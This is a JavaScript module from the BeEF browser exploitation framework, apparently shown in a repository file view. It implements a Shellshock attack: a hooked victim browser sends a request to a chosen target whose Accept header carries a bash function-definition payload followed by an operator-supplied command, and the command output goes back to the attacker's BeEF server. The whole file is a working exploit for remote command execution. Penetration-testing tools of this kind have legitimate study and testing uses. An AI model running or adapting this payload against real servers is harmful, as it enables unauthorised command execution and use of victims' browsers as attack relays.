Files
beef/modules/exploits/shell_shocked/command.js
jcrew99 486a9bb329 Update copyright 2023 (#2675)
* updated copyright

* reverted gemfile lock changes
2022-12-31 15:36:07 +10:00

27 lines
964 B
JavaScript

//
// Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function () {
try {
var target = "<%=@Target%>";
var command = "<%=@Bash_Command%>";
var method = "<%=@method%>";
var xhr = new XMLHttpRequest();
xhr.open(method, target, true);
xhr.onload = function () {
};
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
}
}
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command);
xhr.send(null);
} catch (e){
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message);
}
});